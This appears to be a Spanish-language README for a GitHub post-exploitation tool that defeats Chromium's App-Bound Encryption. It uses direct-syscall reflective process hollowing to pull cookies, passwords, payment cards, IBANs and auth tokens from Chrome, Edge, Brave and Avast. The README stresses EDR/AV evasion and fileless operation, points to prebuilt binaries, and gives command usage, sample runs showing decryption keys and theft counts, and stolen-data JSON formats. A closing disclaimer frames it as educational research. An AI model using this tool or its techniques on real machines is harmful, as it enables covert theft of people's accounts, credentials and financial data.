
Bypass del cifrado App-Bound de Chromium mediante Reflective Process Hollowing basado en syscalls directas. Extrae cookies, contraseñas, métodos de pago y tokens de Chrome, Edge, Brave y Avast: sin archivos, en modo usuario, sin requerir administrador.
Chrome App-Bound Encryption Decryption)Una herramienta de post-explotación que demuestra una evasión completa en memoria del App-Bound Encryption (ABE) de Chromium. Este proyecto utiliza Process Hollowing reflectivo basado en syscalls directos para lanzar un proceso legítimo del navegador en estado suspendido, inyectando sigilosamente un payload para secuestrar su identidad y contexto de seguridad. Esta técnica Living-off-the-Land (LOTL) subvierte el propio modelo de seguridad del navegador. El enfoque sin archivos permite que la herramienta opere completamente desde la memoria, evadiendo los ganchos de API de modo usuario para descifrar y exfiltrar datos sensibles del usuario (cookies, contraseñas, pagos) de los navegadores Chromium modernos.
Si encuentras valiosa esta investigación, te agradecería un café:
La eficacia de esta herramienta se basa en una combinación de técnicas modernas centradas en la evasión:
Syscalls directos para evasión: Evita los ganchos de EDR/AV en modo usuario sobre las funciones estándar de WinAPI invocando directamente las funciones del kernel. El motor resuelve dinámicamente los números de syscall en tiempo de ejecución mediante la técnica Hell's Gate con coincidencia de funciones basada en hash (sin nombres de syscall en texto plano en el binario).
Process Hollowing basado en syscalls directos: Una técnica sigilosa de creación e inyección de procesos. En lugar de inyectar en un proceso de alto tráfico y potencialmente monitorizado, crea un nuevo proceso anfitrión suspendido. Esto reduce significativamente las probabilidades de detección, ya que todas las manipulaciones de memoria ocurren antes de que el proceso comience su ejecución normal.
Payload sin archivos en memoria: La DLL del payload nunca toca el disco en la máquina objetivo. Está incrustada como una matriz de bytes cifrada con ChaCha20 en tiempo de compilación, con claves derivadas en tiempo de compilación, se descifra en memoria y se carga de forma reflectiva, minimizando su huella forense y evadiendo los escáneres estáticos basados en archivos.
Inyección reflectiva de DLL (RDI): Un método sigiloso de inyección de procesos que evita LoadLibrary para el payload principal, evadiendo así los mecanismos de detección que monitorizan las cargas de módulos. El cargador bootstrap autónomo mapea las secciones del PE, realiza reubicaciones y resuelve las importaciones desde la memoria.
Invocación COM en el contexto del objetivo: La pieza clave para derrotar a App-Bound Encryption. Al ejecutar código dentro del proceso de confianza del navegador, heredamos su identidad y contexto de seguridad, lo que nos permite realizar llamadas de apariencia legítima al servidor COM de ABE y satisfacer sus comprobaciones de seguridad de validación de rutas.
Nt*/Zw* en texto plano en el binario; utiliza hashes DJB2 en tiempo de compilación.LoadLibrary.--kill para la terminación completa del proceso.
Nota: Chrome/Brave/Edge 144+ utilizan la nueva interfaz COM
IElevator2. Esta herramienta usa automáticamenteIElevator2cuando está disponible y recurre aIElevatorpara versiones anteriores. Avast Secure Browser utiliza una interfaz personalizadaIElevatorChromecon una vtable extendida (12 métodos, DecryptData en el offset 104).
Esta matriz describe las capacidades de extracción para cada navegador compatible.
La ejecución de la herramienta se centra en el sigilo y la eficiencia, y se construye en torno a un proceso de Reflective Hollowing basado en syscalls directos. Este enfoque garantiza que se realizan pocas llamadas de API de alto nivel y que el payload opera desde dentro de un proceso de navegador legítimo recién creado.
chromelevator.exe)ntdll.dll para resolver los números de syscall (SSN) mediante coincidencia basada en hash y localizar gadgets de transición al kernel (syscall/ret o svc/ret). Si se especifica el flag --kill, utiliza los syscalls NtGetNextProcess y NtTerminateProcess para terminar todas las instancias en ejecución del navegador objetivo, liberando los bloqueos de archivo en las bases de datos SQLite.CREATE_SUSPENDED (CreateProcessW). Este proceso suspendido e intacto sirve como anfitrión de nuestro payload.NtAllocateVirtualMemory (syscall directo).Bootstrap se ejecuta, funcionando como un cargador de PE personalizado en memoria con sigilo mejorado:
NtAllocateVirtualMemory (evadiendo VirtualAlloc con ganchos).NtProtectVirtualMemory.DllMain del payload.DllMain crea un nuevo hilo que se conecta inmediatamente al handle del named pipe pasado por el inyector. Lee la configuración, incluida la ruta de salida, enviada por el inyector. Todos los registros y actualizaciones de estado posteriores se reenvían a través de este pipe.IElevator2 para Chrome/Brave 144+, IElevator para versiones anteriores, para Edge, o para Avast Secure Browser). Dado que la llamada se origina desde una ruta de proceso de confianza, se superan todas las comprobaciones de seguridad del servidor.Este proyecto utiliza un script de compilación simple y robusto que maneja automáticamente toda la compilación y el embebido del payload.
Clona este repositorio.
Abre un Developer Command Prompt for VS (o cualquier shell con MSVC habilitado).
Ejecuta el script de compilación make.bat desde la raíz del proyecto.
Opciones de compilación:
make.bat - Compilación completa (por defecto)make.bat clean - Elimina todos los artefactos de compilaciónmake.bat build_encryptor_only - Compila solo el cifrador (usado por CI)make.bat build_target_only - Compila payload e inyector (usado por CI)Este proyecto usa GitHub Actions para compilar automáticamente el ejecutable del inyector (chromelevator.exe) para las arquitecturas x64 y ARM64.
Puedes encontrar los binarios precompilados más recientes en la página de Releases. Los ejecutables para ambas arquitecturas se empaquetan juntos en un único archivo .zip conveniente.
Contenido del paquete de lanzamiento:
chromelevator_x64.exechromelevator_arm64.exePS> .\chromelevator.exe --help
_________ .__ . __
_ ___ | | ____ _____ _ /| | _______ _______ / | ___________
/ \ /| | _ __ / _ \ / \ | ) | | / __ \ / /_ \ / _ _ __
\ _| Y \ | ( <> ) Y Y | | |\ /\ / / __ | | ( <> ) | /
_ /| /| _/|__|| /_______ /|/___ >_/ ( /| __/|__|
/ / / / / /
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.20.0 by @xaitax
Usage: chromelevator.exe [options] <chrome|chrome-beta|edge|brave|avast|all>
Options: -v, --verbose Show detailed output -f, --fingerprint Extract browser fingerprint -k, --kill Kill all browser processes before extraction -o, --output-path Custom output directory
### Opciones
- `--output-path <path>` o `-o <path>`
Especifica el directorio base para los archivos de salida.
Por defecto es `.\output\` relativo a la ubicación del inyector.
Los datos se organizarán en subcarpetas: `<path>/<NombreDelNavegador>/<NombreDelPerfil>/`.
- `--verbose` o `-v`
Habilita una salida de depuración exhaustiva del inyector.
- `--fingerprint` o `-f`
Extrae datos completos de huella digital del navegador, incluyendo versión, extensiones, ajustes de seguridad e información del sistema.
Los resultados se guardan en `fingerprint.json` en el directorio de salida del navegador.
- `--kill` o `-k`
**Termina todos los procesos del navegador antes de la extracción.** Usa llamadas directas al sistema (`NtTerminateProcess`) para finalizar todas las instancias en ejecución del(los) navegador(es) objetivo antes de intentar la extracción de datos. Esto es útil cuando los navegadores están en ejecución y mantienen bloqueos sobre los archivos de base de datos, impidiendo que la herramienta acceda a cookies u otros datos cifrados.
- `--help` o `-h`
Muestra este mensaje de ayuda.
### Ejecución normal
###```bash
PS> .\chromelevator.exe all
_________ .__ ___________.__ __
\_ ___ \| |_________ ____ _____ \_ _____/| | _______ _______ _/ |_ ___________
/ \ \/| | \_ __ \/ _ \ / \ | __)_ | | _/ __ \ \/ /\__ \\ __\/ _ \_ __ \
\ \___| Y \ | \( <_> ) Y Y \| \| |_\ ___/\ / / __ \| | ( <_> ) | \/
\______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__|
\/ \/ \/ \/ \/ \/
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.20.0 by @xaitax
┌──── Brave (143.1.85.120) ──────────────────────
│
│ Decryption Key
│ 2522A3C1730EA8EE84BAAD1994DB31E20437D9DCF27628997598BB5B86F73DCD
│
├── Default
│ Cookies 3312
│ Passwords 55
│ Cards 1
│ IBANs 1
│
└── 3312 cookies, 55 passwords, 1 cards, 1 IBANs (1 profile)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Brave
┌──── Chrome (143.0.7499.193) ───────────────────
│
│ Decryption Key
│ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094
│
├── Default
│ Cookies 380
│ Passwords 1
│
├── Profile 1
│ Cookies 932
│ Passwords 791
│ Cards 1
│ IBANs 1
│ Tokens 2
│
└── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome
┌──── Chrome Beta (144.0.7559.59) ───────────────
│
│ Decryption Key
│ C147F0657D7AD5881F16CC0A2994E41A18A7B5F567B8CF81C7F87227ABB4F1B7
│
├── Default
│ Cookies 224
│
└── 224 cookies (1 profile)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome Beta
┌──── Edge (144.0.3719.67) ──────────────────────
│
│ Decryption Key
│ B0334FAD7F5805362CB4C44B144A95AB7A68F7346EF99EB3F175F09DB08C8FD9
│
├── Default
│ Cookies 226
│ Passwords 2
│ Cards 1
│
├── Profile 1
│ Cookies 25
│
└── 251 cookies, 2 passwords, 1 cards (2 profiles)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Edge
PS> .\chromelevator.exe -v -f chrome
_________ .__ . __
_ ___ | | ____ _____ _ /| | _______ _______ / | ___________
/ \ /| | _ __ / _ \ / \ | ) | | / __ \ / /_ \ / _ _ __
\ _| Y \ | ( <> ) Y Y | | |\ /\ / / __ | | ( <> ) | /
_ /| /| _/|__|| /_______ /|/___ >_/ ( /| __/|__|
/ / / / / /
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.20.0 by @xaitax
┌──── Chrome (143.0.7499.193) ─────────────────── │ Creating suspended process: C:\Program Files\Google\Chrome\Application\chrome.exe │ [+] Process created (PID: 26560) │ [+] IPC pipe established: \.\pipe\chrome.nacl.49645_5F55 │ Deriving runtime decryption keys... │ [+] Payload decrypted (1073 KB) │ [+] Bootstrap entry point resolved (offset: 0x2ae70) │ Allocating memory in target process via syscall... │ [+] Memory allocated at 0x268e2d90000 (1076 KB) │ [+] Payload + parameters written │ [+] Memory protection set to PAGE_EXECUTE_READ │ Creating remote thread via syscall... │ [+] Thread created (entry: 0x268e2dbae70) │ Awaiting payload connection... │ [+] Payload connected │ Running in Chrome │ │ Decryption Key │ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094 │ ├── Default │ Size 14 MB │ Cookies 380 │ Passwords 1 │ ├── Profile 1 │ Size 491 MB │ Cookies 932 │ Passwords 791 │ Cards 1 │ IBANs 1 │ Tokens 2 │ Extracting comprehensive fingerprint... │ Fingerprint saved to fingerprint.json │ └── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles) C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome
## 📂 Extracción de Datos
Una vez que el descifrado se completa, los datos se guardan en la ruta de salida especificada (por defecto `.\output\` si no se especifica mediante `--output-path`). Los archivos se organizan de la siguiente manera:
**Ruta base:** `YOUR_CHOSEN_PATH` (por ejemplo, `.\output\` o la ruta que proporciones)
**Estructura:** <Base Path>/<BrowserName>/<ProfileName>/<data_type>.json
Ejemplos de rutas (asumiendo la ubicación de salida predeterminada):
- 🍪 **Cookies (perfil predeterminado de Chrome):** .\output\Chrome\Default\cookies.json
- 🔑 **Contraseñas (Perfil 1 de Edge):** .\output\Edge\Profile 1\passwords.json
- 💳 **Métodos de pago (perfil predeterminado de Brave):** .\output\Brave\Default\payments.json
- 🏦 **IBANs (Perfil 1 de Chrome):** .\output\Chrome\Profile 1\iban.json
### 🍪 Extracción de Cookies
Cada archivo de cookies es un array JSON de objetos:```json
[
{
"host": "accounts.google.com",
"name": "ACCOUNT_CHOOSER",
"path": "/",
"expires": 1766591611,
"value": "AFx_qI781-…"
},
{
"host": "mail.google.com",
"name": "OSID",
"path": "/mail",
"expires": 1766591611,
"value": "g.a000uwj5ufIS…"
},
…
]
Cada archivo de contraseñas es un array JSON de objetos:```json [ { "url": "https://example.com/login", "user": "[email protected]", "pass": "••••••••••" }, … ]
### 💳 Extracción de Métodos de Pago
Cada archivo de pago es un array JSON de objetos:```json
[
{
"name": "John Doe",
"month": 12,
"year": 2030,
"number": "••••••••••1234",
"cvc": "•••"
},
…
]
Cada archivo IBAN es una matriz JSON de objetos:```json [ { "nickname": "UK Test", "iban": "GB33BUKB20201555555555" } ]
### 🎟️ Extracción de Tokens
Cada archivo de token es un array JSON de objetos que contiene el servicio, el token descifrado y la clave de vinculación (si está presente):```json
[
{
"service": "AccountId-112823413702122221871",
"token": "1//03VJGN_vL2FR5CgYIARAAGAMSNwF-L9IrtiyH_tmtOneETFya5GEGiewlEMrLwDMuOl56zRoShNE77DfyOXhofn5Ryo_...",
"binding_key": ""
}
]
Al usar la bandera --fingerprint o -f, se genera un informe completo de metadatos:```json
{
"browser": "Chrome",
"executable_path": "C:\Program Files\Google\Chrome\Application\chrome.exe",
"browser_version": "143.0.7499.170",
"user_data_path": "C:\Users\username\AppData\Local\Google\Chrome\User Data",
"sync_enabled": false,
"enterprise_managed": true,
"update_channel": "stable",
"hardware_acceleration": false,
"metrics_enabled": false,
"autofill_enabled": true,
"password_manager_enabled": false,
"safe_browsing_enabled": true,
"do_not_track": false,
"third_party_cookies_blocked": false,
"translate_enabled": true,
"installed_extensions_count": 2,
"extension_ids": ["ghbmnnjooekpmoecnnnilnnbdlolhkhi", "nmmhkkegccagdldgiimedpiccmgmieda"],
"profile_count": 2,
"computer_name": "DESKTOP-ABC123",
"windows_user": "username",
"os_version": "10.0.26220",
"architecture": "ARM64",
"last_config_update": 1766578854,
"extraction_timestamp": 1766591611,
"extraction_complete": true
}
Este dato proporciona inteligencia sobre la configuración del navegador, su postura de seguridad y el contexto del sistema.
## 📚 Análisis Técnico en Profundidad e Investigación
Para una comprensión completa del App-Bound Encryption de Chrome, las complejidades de su implementación, la mecánica detallada del enfoque de esta herramienta y una discusión más amplia de los vectores de seguridad relacionados, consulte mi documento de investigación detallado:
1. ➡️ **[App-Bound Encryption (ABE) de Chrome: Análisis Técnico en Profundidad y Notas de Investigación](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/docs/RESEARCH.md)**
Este documento cubre:
- La evolución de DPAPI a ABE.
- Un desglose paso a paso del mecanismo ABE, incluidas las interacciones COM `IElevator`/`IElevator2` y el envoltorio de claves.
- Metodología detallada de la estrategia de inyección de DLL utilizada por esta herramienta.
- Análisis de las estructuras de datos cifradas y conocimientos relevantes del código fuente de Chromium.
- Discusión de vectores de descifrado alternativos y las defensas en evolución de Chrome.
2. ➡️ **[El curioso caso del COM intratable: Descifrando el App-Bound Encryption de Microsoft Edge](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/docs/The_Curious_Case_of_the_Cantankerous_COM_Decrypting_Microsoft_Edge_ABE.md)**
Este artículo detalla los desafíos específicos y el viaje de ingeniería inversa emprendido para lograr un descifrado ABE fiable para Microsoft Edge. Incluye:
- Un relato de los problemas iniciales y los códigos de error engañosos (`E_INVALIDARG`, `E_NOINTERFACE`).
- El proceso de usar la introspección de la biblioteca de tipos COM (con Python `comtypes`) para descubrir la estructura de la vtable y la herencia únicas de `IElevatorEdge` de Edge.
- Cómo esta información condujo a stubs de interfaz C++ personalizados para una interacción exitosa con el servicio ABE de Edge.
- Una mirada práctica a la depuración de problemas difíciles de interoperabilidad COM.
3. ➡️ **[El ascensor recibe una actualización: Chrome 144, IElevator2 y el horizonte Mojo](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/docs/The_Elevator_Gets_an_Upgrade_Chrome_144_IElevator2_and_the_Mojo_Horizon.md)**
Este artículo cubre la nueva interfaz COM `IElevator2` de Chrome 144 y lo que significa para ABE:
- Comparación técnica entre las interfaces `IElevator` de Chrome 143 y `IElevator2` de Chrome 144.
- Análisis de los dos nuevos métodos (`RunIsolatedChrome`, `AcceptInvitation`) y su conexión con la migración planificada de Mojo IPC de Chromium.
- Comparación del diseño de la VTable que muestra la preservación de la compatibilidad hacia atrás.
- La adopción parcial de `IElevator2` por parte de Edge 144 y las nuevas interfaces de Copilot.
- Evaluación honesta de lo que la migración de Mojo cambia (y no cambia) para la seguridad de ABE.
4. ➡️ **[COMrade ABE: Tu manual de campo para el trasfondo COM del App-Bound Encryption](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/docs/COMrade_ABE_Field_Manual.md)**
Este manual de campo presenta **COMrade ABE**, un analizador dinámico basado en Python para interfaces COM de ABE, y profundiza en sus aplicaciones prácticas:
- Explica la necesidad del análisis dinámico de interfaces COM debido a las variaciones y actualizaciones de los navegadores.
- Detalla la metodología de COMrade ABE: escaneo del registro para el descubrimiento de servicios, carga y análisis de la biblioteca de tipos, y coincidencia heurística de firmas de métodos ABE.
- Proporciona una guía completa para interpretar la salida de COMrade ABE, incluidos CLSIDs, IIDs (estilo estándar y C++), y la importancia de los detalles de salida verbosa como los desplazamientos de VTable, las interfaces definitorias y las cadenas completas de herencia.
- Destaca la utilidad de los stubs C++ generados automáticamente (`--output-cpp-stub`) para el desarrollo y la investigación rápidos.
- Analiza cómo COMrade ABE ayuda a adaptarse a los cambios de ABE, analizar nuevos navegadores Chromium y comprender las personalizaciones COM específicas de cada proveedor.
## 🔗 Recursos Adicionales e Investigación
Este proyecto se basa en el trabajo y el análisis de la comunidad de seguridad en general.
- **Documentación Oficial y Anuncios:**
- [Google Security Blog: Mejorando la seguridad de las cookies de Chrome en Windows](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
- [Documento de diseño: Servicio de cifrado app-bound de Chrome](https://drive.google.com/file/d/1xMXmA0UJifXoTHjHWtVir2rb94OsxXAI/view)
- **Investigación Comunitaria y Reconocimientos:**
- Prueba de concepto por [snovvcrash](https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824)
## 🗒️ Registro de Cambios
Todos los cambios notables de este proyecto están documentados en el archivo [**CHANGELOG**](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/CHANGELOG.md). Esto incluye el historial de versiones, nuevas funciones, correcciones de errores y mejoras de seguridad.
## 📜 Licencia
Este proyecto está licenciado bajo la Licencia MIT; consulte el archivo [LICENSE](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/LICENSE) para más detalles.
## 💡 Filosofía del Proyecto y Descargo de Responsabilidad
> [!IMPORTANT]
> Este es un proyecto hobby creado con fines educativos y de investigación en seguridad. Sirve como una experiencia de aprendizaje personal y un campo de juego para explorar conceptos avanzados de Windows.
>
> **Esta herramienta NO está diseñada para ser un infostealer completo ni una herramienta garantizada de evasión de EDR.** Si bien emplea técnicas avanzadas, su objetivo principal es demostrar y diseccionar el mecanismo ABE, no proporcionar sigilo operativo para usos maliciosos. Asegúrese de cumplir con todas las pautas legales y éticas pertinentes.
| Navegador | Versión probada (x64 y ARM64) |
|---|
| Google Chrome | 144.0.7559.133 |
| Google Chrome Beta | 145.0.7632.18 |
| Brave | 1.86.148 (144.1.86.148) |
| Microsoft Edge | 145.0.3800.36 |
| Avast Secure Browser | 143.0.33371.147 |
| Funcionalidad | Google Chrome | Microsoft Edge | Brave | Avast Secure Browser |
|---|
| Cookies | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
| Contraseñas | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
| Métodos de pago | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
| IBAN | ✅ ABE | ❌ N/A | ✅ ABE | ✅ ABE |
| Tokens de autenticación | ❌ N/A | ❌ N/A | ❌ N/A |
NtWriteVirtualMemory.NtProtectVirtualMemory (syscall directo).NtCreateThreadEx. La dirección de inicio del hilo apunta directamente a la exportación Bootstrap del payload, con la dirección del nombre del pipe remoto como argumento. El hilo principal original del navegador permanece suspendido y nunca se reanuda. El inyector espera entonces a que el payload se conecte de vuelta al pipe.IEdgeElevatorFinalIAvastElevatorDecryptData de la interfaz COM, proporcionando la app_bound_encrypted_key que lee del archivo Local State. El servidor COM descifra obedientemente la clave y devuelve la clave maestra AES-256 en texto plano al payload.Default, Profile 1, etc.). Para cada perfil, consulta las bases de datos SQLite relevantes (Cookies, Login Data, Web Data), descifra los blobs de datos usando AES-256-GCM y formatea los secretos como JSON. Los resultados se escriben directamente en el directorio de salida especificado por el inyector.FreeLibraryAndExitThread para limpiar. El inyector, al recibir la señal, termina el proceso anfitrión padre con NtTerminateProcess.